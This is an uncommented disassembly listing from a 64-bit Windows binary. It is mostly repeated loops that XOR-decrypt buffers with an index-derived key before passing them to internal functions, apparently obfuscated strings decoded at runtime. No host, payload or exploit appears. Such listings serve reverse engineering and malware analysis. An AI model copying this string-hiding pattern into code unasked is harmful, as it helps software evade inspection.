movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
movdqa xmm3, xmmword [0x1402abb30]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x28]
xorps xmm3, xmm0
movq qword [rax + 0x28], xmm3
mov r8d, Ordinal_26
mov eax, r8d
lea r9, [r10 + rax*2]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x19
jl 0x14001dda1
mov rdx, r10
lea rcx, [rbp + 0x1c38]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x1c58]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x1c78]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0xa38]
lea rcx, [rbp - 0x2e]
call fcn.14002ed70
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14001e0df
mov r8d, esi
cmp r14d, 2
jl 0x14001e0a7
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x1402abb30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r8d, Ordinal_26
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14001e0b0
mov rdx, r10
lea rcx, [rbp + 0x1c98]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x1cb8]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1c78]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x1cd8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5658]
lea rcx, [rbp - 0x2d]
call fcn.14002ed40
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001e280
mov r8d, esi
cmp r14d, 2
jl 0x14001e24b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001e160
cmp r8d, 0x21
jge 0x14001e280
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001e251
mov rdx, r10
lea rcx, [rbp + 0x1cf8]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1cd8]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x57e8]
lea rcx, [rbp - 0x2c]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001e400
mov r8d, esi
cmp r14d, 2
jl 0x14001e3cb
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001e2e0
cmp r8d, 0x27
jge 0x14001e400
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001e3d1
mov rdx, r10
lea rcx, [rbp + 0x1d38]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x1d58]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1d18]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x1d58]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1d38]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1cf8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1cb8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1c98]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1c58]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x1c38]
call fcn.140007bc0
lea rax, [rbp + 0x520]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x520]
call fcn.140033630
mov r12, rax
lea rdx, [rbp + 0x5b58]
lea rcx, [rbp - 0x2b]
call fcn.14002ee30
mov r10, rax
cmp word [rax + 0x2c], 0
je 0x14001e743
mov r8d, esi
cmp r14d, 2
jl 0x14001e6ff
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x17
jl 0x14001e710
mov rdx, r10
lea rcx, [rbp + 0x1d78]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x1d98]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x1db8]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x388]
lea rcx, [rbp - 0x2a]
call fcn.14002ee00
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x14001e9ef
mov r8d, esi
cmp r14d, 2
jl 0x14001e9ad
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14001e9c0
mov rdx, r10
lea rcx, [rbp + 0x1dd8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x1df8]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1db8]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x1e18]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5608]
lea rcx, [rbp - 0x29]
call fcn.14002edd0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001eb90
mov r8d, esi
cmp r14d, 2
jl 0x14001eb5b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001ea70
cmp r8d, 0x21
jge 0x14001eb90
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001eb61
mov rdx, r10
lea rcx, [rbp + 0x1e38]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1e18]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x5a40]
lea rcx, [rbp - 0x28]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001ed10
mov r8d, esi
cmp r14d, 2
jl 0x14001ecdb
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001ebf0
cmp r8d, 0x27
jge 0x14001ed10
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001ece1
mov rdx, r10
lea rcx, [rbp + 0x1e78]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x1e98]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1e58]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x1e98]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1e78]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1e38]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1df8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1dd8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1d98]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x1d78]
call fcn.140007bc0
lea rax, [rbp + 0x538]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x538]
call fcn.140033630
mov r12, rax
lea rdx, [rbp + 0x5c28]
lea rcx, [rbp - 0x27]
call fcn.14002eec0
mov r10, rax
cmp word [rax + 0x2e], 0
je 0x14001f0b6
mov r8d, esi
cmp r14d, 2
jl 0x14001f076
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
